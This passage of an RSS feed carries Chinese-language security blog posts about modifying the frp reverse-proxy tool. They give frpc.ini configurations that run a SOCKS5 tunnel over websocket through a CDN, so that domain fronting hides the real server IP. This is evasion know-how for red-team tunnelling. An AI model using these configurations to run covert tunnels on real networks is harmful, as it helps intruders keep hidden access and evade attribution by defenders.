block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">common</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">server_addr </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> test</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">com</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">w</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cdngslb</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">com</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">server_port </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">443</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">token </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> uknowsec</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">protocol </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> wss</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(153, 153, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">#protocol = websocket</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tls_enable </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">true</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">del_enable </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">true</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">websocket_domain </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> test</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">com</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">http_proxy</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">type </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> tcp</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">remote_port </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">10002</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">plugin </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> socks5</span></code></span></span></p></li></ol></pre><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">github</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">自行到github下载
<a href="https://github.com/uknowsec/frpModify" target="_blank">https://github.com/uknowsec/frpModify</a></p>



<p><a href="https://github.com/uknowsec/frpModify">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3b474163&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484711%26idx%3D1%26sn%3Df9718dca7a398162c0516a359d2d4435%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 31 Dec 2020 12:39:00 +0800</pubDate>
    </item>
    <item>
      <title>frp改造计划续</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484707&amp;idx=1&amp;sn=bcabbe88149c701b10707ad71572d927</link>
      <description>通过websocket协议让FRP用上域前置，可以隐藏真实服务ip地址</description>
      <content:encoded><![CDATA[<p>
原创 <span>uknowsec</span> <span>2020-12-30 08:48</span> <span style="display: inline-block;"></span>
</p>

<p>通过websocket协议让FRP用上域前置，可以隐藏真实服务ip地址</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=bf293119&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvcT5P32v7cPpUFjNPdWEGiaT2DQB67SDDEhQvtvDtDyVMWQVXaGXz3pG6jwG7WFmT4Nx5yXgxWfZnQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">前言</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">之前@Wfox师傅在群里提到“通过websocket协议让FRP用上域前置，可以隐藏真实服务ip地址”。最近没有项目，重新进行一下frp改造计划。感谢@Wfox提出的修改思路~</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">可行性证明</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">先用dns域名解析来证明域前置方案在frp上是可行的，这里也可以直接修改本地hosts文件来实现dns域名解析的效果。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">比如我们用如下frpc.ini</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(247, 243, 247);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">common</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">server_addr </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> dwnwdqndlnqwln2321321</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">com</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">server_port </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(166, 89, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">23333</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">token </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> uknowsec</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">protocol </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> websocket</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tls_enable </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">true</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">http_proxy</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">type </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> tcp</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">remote_port </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(166, 89, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">10002</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">plugin </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> socks5</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">让frpc认证数据包走websocket协议。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a19c6a53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcT5P32v7cPpUFjNPdWEGiaTR8E0PjpOBNGDFWV5qD0hXnJIYsUH1AhYc7uic4SGBEuJvWuibsD83Seg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">可以看到认证是通过websocket协议，这里特别标注出来了Host头，要实现域前置，我们只要把host修改为我们的指定回源域名即可。所以证明了“通过websocket协议让FRP用上域前置”是可行的。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans 